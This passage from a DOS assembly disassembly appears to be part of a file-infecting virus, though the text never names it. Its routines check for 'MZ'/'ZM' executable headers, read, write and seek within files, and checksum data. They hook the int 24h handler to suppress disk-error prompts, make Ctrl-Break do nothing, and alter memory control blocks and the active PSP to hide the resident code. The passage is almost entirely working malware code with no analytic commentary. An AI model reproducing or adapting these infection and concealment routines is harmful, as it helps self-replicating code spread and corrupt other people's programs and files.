;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;                              SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
  
sub_7           proc    near
                mov     ax,data_45              ; (8344:08EA=0)
                cmp     ax,5A4Dh
                je      loc_ret_71              ; Jump if equal
                cmp     ax,4D5Ah
  
loc_ret_71:
                retn
sub_7           endp
  
  
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;                              SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
  
sub_8           proc    near
                mov     ah,3Fh                  ; '?'
                call    sub_23                  ; (0879)
                jc      loc_ret_72              ; Jump if carry Set
                cmp     ax,cx
  
loc_ret_72:
                retn
sub_8           endp
  
  
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;                              SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
  
sub_9           proc    near
                mov     ah,40h                  ; '@'
                call    sub_23                  ; (0879)
                jc      loc_ret_73              ; Jump if carry Set
                cmp     ax,cx
  
loc_ret_73:
                retn
sub_9           endp
  
  
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;                              SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
  
sub_10          proc    near
                push    cx
                xor     dx,dx                   ; Zero register
  
locloop_74:
                lodsb                           ; String [si] to al
                add     dl,al
                adc     dh,0
                loop    locloop_74              ; Loop if cx > 0
  
                pop     cx
                retn
sub_10          endp
  
  
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;                              SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
  
sub_11          proc    near
                push    cs
                pop     ds
                mov     si,904h
                mov     bx,ax
                mov     cx,7ABh
                call    sub_7                   ; (0758)
                jnz     loc_75                  ; Jump if not zero
                mov     ax,data_47              ; (8344:08F2=0)
                mov     dx,10h
                mul     dx                      ; dx:ax = reg * ax
                push    bx
                push    di
                call    sub_12                  ; (07BF)
                pop     di
                pop     bx
                mov     si,offset data_45       ; (8344:08EA=0)
                mov     cx,1Ah
                mov     ax,ds:data_54e          ; (8344:10AF=0)
                mov     data_46,ax              ; (8344:08F0=0)
                mov     ax,ds:data_55e          ; (8344:10B1=0)
                mov     data_48,ax              ; (8344:08FE=0)
                mov     ax,ds:data_56e          ; (8344:10B3=0)
                mov     ds:data_49e,ax          ; (8344:0900=0)
loc_75:
                xor     ax,ax                   ; Zero register
                xor     dx,dx                   ; Zero register
  
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
  
sub_12:
                sub     ax,data_37              ; (8344:08D0=0)
                sbb     dx,data_38              ; (8344:08D2=0)
                jc      loc_76                  ; Jump if carry Set
                jnz     loc_ret_79              ; Jump if not zero
                sub     bx,ax
                jbe     loc_ret_79              ; Jump if below or =
                add     di,ax
                jmp     short loc_77            ; (07E2)
loc_76:
                neg     ax
                adc     dx,0
                neg     dx
                jnz     loc_ret_79              ; Jump if not zero
                sub     cx,ax
                jbe     loc_ret_79              ; Jump if below or =
                add     si,ax
loc_77:
                cmp     cx,bx
                jbe     loc_78                  ; Jump if below or =
                mov     cx,bx
loc_78:
                cld                             ; Clear direction
                rep     movsb                   ; Rep when cx >0 Mov [si] to es:[di]
  
loc_ret_79:
                retn
sub_11          endp
  
  
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;                              SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
  
sub_13          proc    near
                pushf                           ; Push flags
                call    sub_24                  ; (0884)
                mov     ah,49h                  ; 'I'
                push    ds
                pop     es
                int     21h                     ; DOS Services  ah=function 49h
                                                ;  release memory block, es=seg
                mov     ah,49h                  ; 'I'
                mov     es,ds:data_8e           ; (0046:002C=50h)
                int     21h                     ; DOS Services  ah=function 49h
                                                ;  release memory block, es=seg
                mov     ah,50h                  ; 'P'
                mov     bx,ds:data_7e           ; (0046:0016=0)
                int     21h                     ; DOS Services  ah=function 50h
                                                ;  set active PSP segmnt from bx
                mov     ax,2522h
                lds     dx,dword ptr ds:data_6e ; (0046:000A=0) Load 32 bit ptr
                int     21h                     ; DOS Services  ah=function 25h
                                                ;  set intrpt vector al to ds:dx
                call    sub_25                  ; (0896)
                popf                            ; Pop flags
                retn
sub_13          endp
  
  
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;                              SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
  
sub_14          proc    near
                mov     si,dx
                cmp     byte ptr [si],0FFh
                jne     loc_ret_80              ; Jump if not equal
                add     si,7
  
loc_ret_80:
                retn
sub_14          endp
  
  
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;                              SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
  
sub_15          proc    near
                call    sub_24                  ; (0884)
                call    sub_14                  ; (0814)
                push    cs
                pop     es
                mov     dx,904h
                mov     di,dx
                cld                             ; Clear direction
                lodsb                           ; String [si] to al
                or      al,al                   ; Zero ?
                jz      loc_81                  ; Jump if zero
                add     al,40h                  ; '@'
                mov     ah,3Ah                  ; ':'
                stosw                           ; Store ax to es:[di]
loc_81:
                movsw                           ; Mov [si] to es:[di]
                movsw                           ; Mov [si] to es:[di]
                movsw                           ; Mov [si] to es:[di]
                movsw                           ; Mov [si] to es:[di]
                mov     al,2Eh                  ; '.'
                stosb                           ; Store al to es:[di]
                movsw                           ; Mov [si] to es:[di]
                movsb                           ; Mov [si] to es:[di]
                xor     al,al                   ; Zero register
                stosb                           ; Store al to es:[di]
                push    es
                pop     ds
                call    sub_3                   ; (0519)
                call    sub_25                  ; (0896)
                retn
sub_15          endp
  
  
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;                              SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
  
sub_16          proc    near
                push    ax
                mov     ax,cs
                jmp     short loc_82            ; (0854)
  
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
  
sub_17:
                push    ax
                xor     ax,ax                   ; Zero register
loc_82:
                push    bx
                push    ds
                mov     bx,cs
                dec     bx
                mov     ds,bx
                mov     ds:data_16e,ax          ; (8343:0001=0FFFFh)
                pop     ds
                pop     bx
                pop     ax
                retn
sub_16          endp
  
  
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;                              SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
  
sub_18          proc    near
                mov     ax,3D00h
                jmp     short loc_83            ; (0879)
  
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
  
sub_19:
                mov     ah,3Eh                  ; '>'
                jmp     short loc_83            ; (0879)
  
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
  
sub_20:
                mov     ax,4200h
                jmp     short loc_83            ; (0879)
  
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
  
sub_21:
                mov     ax,4202h
                jmp     short loc_83            ; (0879)
  
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
  
sub_22:
                push    word ptr [bp+6]
                popf                            ; Pop flags
  
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
  
sub_23:
loc_83:
                pushf                           ; Push flags
                cli                             ; Disable interrupts
                call    dword ptr cs:data_20    ; (8344:08AB=0)
                retn
sub_18          endp
  
  
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;
;                       External Entry Point
;
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
  
int_24h_entry   proc    far
                mov     al,3
int_24h_entry   endp
  
  
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;
;                       External Entry Point
;
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
  
int_23h_entry   proc    far
                iret                            ; Interrupt return
int_23h_entry   endp
  
  
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;                              SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
  
sub_24          proc    near
                pop     cs:data_32              ; (8344:08C7=0)
                push    ds
                push    dx
                push    es
                push    bx
                push    ax
                push    cx
                push    si
                push    di
                push    bp
                mov     bp,sp
                jmp     short loc_84            ; (08A6)
  
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
  
sub_25:
                pop     cs:data_32              ; (8344:08C7=0)
                mov     sp,bp
                pop     bp
                pop     di
                pop     si
                pop     cx
                pop     ax
                pop     bx
                pop     es
                pop     dx
                pop     ds
loc_84:
                jmp     word ptr cs:data_32     ; (8344:08C7=0)
data_20         dd      00000h
data_21         dd      00000h
data_22         dw      0, 8344h
data_24         dw      0, 8344h
data_26         dw      0, 8344h
data_28         dw      0, 8344h
data_30         dw      0, 8344h
data_32         dw      0
data_33         db      0
data_34         dw      0
data_35         dw      0
data_36         dw      0
data_37         dw      0
data_38         dw      0
data_39         dw      0
                db      12 dup (0)
data_41         dw      0
data_42         dw      0
data_43         dd      00000h
data_45         dw      0
                db      0, 0, 0, 0
data_46         dw      0
data_47         dw      0
                db      10 dup (0)
data_48         dw      0
sub_24          endp
  
  
seg_a           ends
  
  
  
                end     start